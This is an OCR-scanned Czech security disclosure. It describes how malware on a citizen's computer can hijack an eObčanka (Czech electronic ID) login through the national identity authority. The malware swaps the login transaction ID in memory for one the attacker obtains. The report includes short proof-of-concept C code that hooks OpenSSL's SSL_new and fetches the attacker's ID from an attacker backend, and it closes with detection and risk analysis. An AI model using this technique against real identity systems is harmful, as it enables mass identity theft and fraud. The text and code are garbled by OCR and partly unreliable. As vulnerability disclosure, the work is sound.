Problém zmatené eObcanky

Aneb jak (hromadné) odcizit bezpecné eldentity ¢eskych obcand

Uvod

eObcanka je obcansky prlkaz s kontaktnim elektronickym dCipem, ktery umoznuje bezpecné
prokazovani totoznosti online. Diky této garantované elektronické identité¢ je mozné obcCanlim
bezpecné zpristupnit online sluzby jako napriklad podani vici Ceské spravé socidlniho zabezpeceni

(ePodani), vyzvednuti eReceptu, pristup k datovym schrankam, vypis z zZivnostenského rejstfiku, Y
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katastru nemovitosti a dalSi. V pfipadé, Ze se systém osvedci, je mozné predpokladat, ze se bude jeho
vyuziti dale rozsifovat, napf. pro elektronické volby, podani darfiového pfiznani atd. Jelikoz Gspésné
zfalSovani této elektronické identity by mélo dalekosahlé nasledky jak pro jednotlivce tak i spolec¢nost
je nezbytné zajistit jeji adekvatni zabezpeceni proti odcizeni.

eObcanka identifikace je implementace proprietarniho PKI systému, ktery je plné spravovan statem.
Identifikacni privatni kli¢(e) jsou distribuovany na nové vydavanych elektronickych obcanskych
prikazech (druhé generace), nelze je z eObcanky jednoduse stahnout a pouZiti privatniho klice
k identifikaci je chranéno kdédem PIN znamym pouze majiteli eObcanky (takzvany Identifikacni osobni
kdd - IOK). Na prvni pohled je tento bezpecnostni navrh adekvatni svému ucelu.

Proces identifikace ma ovsem jednu kritickou slabinu, kterd umoziuje jej zmast. Vzdaleny utocnik je
v tomto pripadé schopen pIné odcizit elektronickou identitu obcana (pfihlaseni), ktera byla Uspésné
ovérena pomoci eObc¢anky aniz by mél obéan moznost zpozorovat jakykoliv problém. Predpokladem
k Uspésnému utoku je pouze virova nakaza pocitace, ze kterého se obcan snazi prihlasit (Ci pokus o
prihlaseni z Utocnikem upraveného pocitace). Obcan ani (soucasna implementace) backendu NIA
v tomto pripadé nedetekuje ¢i neni schopen detekovat odcizeni identity Gtocnikem.

Vzhledem k ICT vzdélani prmérné populace neni z naseho pohledu vhodné bezpecnost systému
eldentity postavit na predpokladu, Ze se obfané nebudou pokouset pfihlasit z neddvéryhodného
zafizeni (nakazeného nebo upraveného). Systém prihlasovani pomoci eObcanek je tedy v soucasnosti
vystaven riziku potencidlni virové kampané, kterd bude cilit na hromadné kradeze identit osob
vyuzivajicich eObcanky. Motivace pro spusténi takovéto kampané budou rlst pfimo Umérné
s rozSifenim systému eObcanek. Idedlnim prikladem motivace ke spusténi takovéto virové kampané
mlZe byt napfiklad pokus cizi moci ovlivnit budouci Ceské volby probihajici elektronicky Ci kyberzlo&inci
elektronicky podavajici podvrzena danova priznani ¢i ePodani CSSZ s cilem odcizit danové vratky.

V nasledujicich ¢astech popisujeme nejdfive standardni proces pfihlaseni eObcankou v detailu, ktery
je nezbytny pro pochopeni Utoku. Dale samotnou podstatu Utoku na odcizeni eldentit. Nasledné
predlozime popis PoC implementace naseho Utoku, ktera ukazuje, Ze Gtok je nejen realny, ale zaroven
pomérné jednoduchy na implementaci. V dalsi sekci poté popiSeme proc je tento Utok tézké odhalit
na strané obc¢ana a také se zaméfime na to, pro¢ neni detekovan na strané backendu Narodni identitni
autority.

Standardni proces prihlaseni eObcankou

Tato sekce popisuje standardni proces pfihlaseni eObCankou vici ePortalu €SSz (je dblezité zminit,
Ze ePortal CSSZ je zmirfiovan pouze pro ilustraci — prihlaseni funguje obdobné pro eRecepty, katastr a
dalsi sluzby). Proces je vyrazné zjednodusen, ale obsahuje veskeré informace nezbytné pro nasledujici
popis slabiny v procesu prihlasovani. Pro Uspésné prihlaseni k ePortalu CSSZ pomoci eObcanky vykona
obcan nasleduijici kroky:

1. Obdan piijde na stranky ePortalu CSSZ: https://eportal.cssz.cz a zvoli prihlaSeni pomoci
Narodni identitni autority (NIA)

2. Obcan je presmérovan na stranky NIA (frontend) https://eop.eidentita.cz a zvoli identifikaci
pomoci eObcanky
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3. NIA frontend zapoCne identifikaci zaSle zpét ID transakce (mwld) ve formatu
czeeopauth:/ / mwid=XXXXOOONX = XXX =X = XXX =XXXKKOOXXXXXX, kde X
reprezentuji unikatni ID transakce

4. Prohlize¢ na ob¢anoveé pocitaci spusti aplikaci eObcanka Identifikace s ID transakce z kroku 3

5. Program eObcanka Identifikace bezpecné identifikuje obCana v0ci backendu NIA
(https://mweop.eidentita.cz). Obfan béhem tohoto procesu zada IOK kod. Pfi UspéSném
dokonceni je identita obana svazana s danym ID transakce (mwId) }

6. Jelikoz jednotlivé komponenty — NIA backend, NIA frontend a ePortal CSSZ — spolu
komunikuji, zna v tuto chvili ePortal CSSZ eldentitu obCana, ktera byla bezpecné ovéfena
pomoci eObcanky a znalosti IOK a obcan je tudiZz Uspésné prihlasen (tento bod je velmi

zjednodusen).
N
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Diagram 1 Schéma standardniho procesu pfihlaseni eObcankou

Problém zmatené eObcanky

Retéz je bohuzel pouze tak silny jako jeho nejslabsi ¢lanek. V piipadé standardniho piihlaeni pomoci
eObcanky se jedna o krok 4 pfi kterém obcanlv pocitac spousti program eObcanka Identifikace a
pfedava mu data, které byli doruceny z NIA frontendu. PC prdmérného obcana mlze byt nakazené
virem, ktery pfi spusténi programu eObcanka Identifikace zajisti nasledujici sled udalosti:

1. Obcan prijde na stranky ePortalu CSSZ: https://eportal.cssz.cz a zvoli piihlaeni pomoci
Narodni identitni autority (NIA)

2. Obcan je presmérovan na stranky NIA (frontend) https://eop.eidentita.cz a zvoli identifikaci
pomoci eObcanky

3. NIA frontend zapocne identifikaci zaSle zpét ID transakce (mwlId) ve formatu
czeeopauth:/ / mwid=XXXXOONX = XXX =XXXX = XXXX=XXXXXXXXXXXX, kde X
reprezentuji unikatni ID transakce
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4. Prohlize¢ na obCanové pocitaci spusti aplikaci eObcanka Identifikace s ID transakce z kroku
3. Aplikace eObcanka Identifikace je v tomto pfipadé nakazena jednoduchym virem popsanym
v nasledujici kapitole.

5. Virova nakaza v okamziku spusténi aplikace kontaktuje backend utocnika s informaci, ze se
obcan pokousi prihlasit.

6. Backend Utocnika si automaticky vyzada vlastni ID pfihlasovaci transkace (mwId), ve formatu
czeeopauth:/ /mwid=YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY, kde Y
reprezentuji unikatni ID transakce, které je odliSné od ID transakce obcana.

7. ID transakce obcana czeeopauth:/ / mwid=XXXXXOOK = XXX =XXXX - XXX X -
XOOXXXXXXXX je virem nahrazeno v paméti procesu eObcanka Identifikace za ID
transakce utocénika czeeopauth://mwid=YYYYYYYY-YYYY-YYYY-YYYY-
YYYYYYYYYYYY.

8. Program eObcanka Identifikace bezpecné identifikuje obCana v0ci backendu NIA
(https://mweop.eidentita.cz) ovéem za pomoci ID transakce ttocnika. Nic netusici obCan
béhem tohoto procesu zada IOK kdéd. PFi uspésném dokonceni je identita obcana
svazana s danym ID transakce (mwId) utocnika (namisto péivodniho ID transakce
obc¢ana)!

9. Utocnik v tuto chvili Uspésné odcizil a plné ovlada elektronickou identitu obCana na NIA. Je
tudiz schopen pristupovat a konat na vsech systémech napojenym na NIA (vCetné ePodani
CSSZ) jménem obcana.

10. Casovy limit pro pfihlaseni obCana vyprsi. Ob¢an neni schopen nijak rozpoznat, ze nevédomky
prihlasil Gtocnika.
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Diagram 2 Schéma utoku na proces prihldsen/ eObcankou
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Prakticka implementace zmateni eObcanky
Implementace tohoto Gtoku se mize zdat sloZita, je ovSem az prekvapivé trivialni. Predpokladejme,
Ze pocitac obc¢ana byl nakaZen virem, ktery modifikoval knihovnu openssl, kterou program eObcanka
Identifikace vyuziva.

Knihovnu Ize upravit tak, Ze pfi inicializaci SSL knihovny (volanim funkce SSL_new) knihovna vykona i

kroky 5-7 popsané v predchozi sekci. JelikoZ se jedna o inicializaci SSL tyto kroky probéhnou jesté

predtim neZ se program eObcanka Identifikace pokusi poprvé komunikovat s NIA backendem pro

eObcanky.

SSL *SSL new(SSL CTX *ctx) =

{
SSL *s;

if (! IS INITIALI ZED){
spoof MWID(&s);
IS INITIALIZED = 1;
}

if (ctx == NULL) {
SSLerr(SSL_F SSL NEW, SSL R NULL SSL CTX);
return (NULL);

}

Figure 3 Volani funkce utocnika spoof MWID v ramci SSL_new

Samotné kroky 5-7 jsou vykonané v ramci funkce spoof_MWID naprogramované utocnikem takto:

void spoof MWID(void* anchor)

{
char **argv = anchor +-;
char *newMWID=get mwid(); J/5imple HTTP GET to attacker backend
if(argv[1][0] = ¢ ){ //app started with argv[1] mwid=MWID

for(int i = 0; i<41; i++)
argv[1][i+13] = newMWID[i];

} else if(argv[1][8] == " ){

for(int i = 0; i<41: i++) //app started with argv[1l] czeeopauth://mwid=MWID
argv[1][i] = newMWID[i];

}
free(newMwID) ;

}
Figure 4 Funkce spoof MWID

Utok tedy jednodude dopoditd pozici pole argv (argumenty se kterymi byl program spustén) na
zasobniku programu (tato je pres rlizna spusténi programu neménna) a zméni je za mwld Gtocnika.

Tento Utok byl Uspésné odzkousen na verzi programu eObcanka Identifikace pro Linux. VSechno vSak
nasvédcuje tomu, Ze jej Ize upravit i pro dalsi verze OS vcetné Windows a Mac.

Proc je tato zranitelnost potencidlné velmi nebezpecna

V pfipadé Uspésného Utoku nedava program eObcanka Identifikace ani frontend Narodni identitni
autority ob¢anovi nejmensi Sanci rozpoznat, Ze se néco stalo. Jedinym indikatorem Uspé&Sného Utoku
je to, Ze prihlasovaci pokus obcana vyprsi s chybovou hlaskou. Lze vSak predpokladat, ze toto neprijde
nikomu podezielé. Pravé naopak, obCan se velmi pravdépodobné automaticky pokusi o dalsi
prihlasovaci pokus.
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Backend NIA mize Utok alespon Castecné detekovat a Utoku potencidlné zabranit ovsem necini tak.
Pfi nejprimitivnéjsi implementaci Gtoku (popsaném v predchozi kapitole) pfichazi na NIA inicializace
pfihlaseni ze serveru Utocnika (a také z IP adresy utoCnika) viz krok 6, ale samotné prihlaseni
programem eObcanka Identifikace poté pokracuje z pocitace obCana (a také z IP adresy obc¢ana) viz
krok 8. Predpokladali bychom tedy alespon detekci této anomalie na Urovni NIA backendu a zabranéni
takovému pokusu o prihlaseni. Tuto ochranu je sice mozné opét pomoci viru obejit — implementace
na strané utocnika by vsak jiz byla vyrazné slozitéjsi.

Nejvétsi riziko nespatfujeme v cileném Gtoku na eldentitu urcitého obcana, ale naopak v tom, Ze
nékdo implementuje virovou kampan, ktera bude cilit na hromadné kradeze identit osob vyuZzivajicich
eObcanky. Motivace pro spusténi takovéto kampané budou rist pfimo Umérné s rozsifenim systému
eObcanek. V soucasnosti, kdy je moZné objednat kampané rozsifujici poZzadovany malware na
Internetu, jsme jenom krok od toho, aby financné ¢i jinak motivovany Gtocnik obdobny kyberneticky
utok realizoval.

Idealnim prikladem motivace ke spusténi takovéto virové kampané mize byt napriklad pokus cizi moci
ovlivnit budouci Ceské volby probihajici elektronicky i kyberzlocinci elektronicky podavajici podvrzena
danova priznani ¢i ePodani CSSZ s cilem odcizit dafové vratky.
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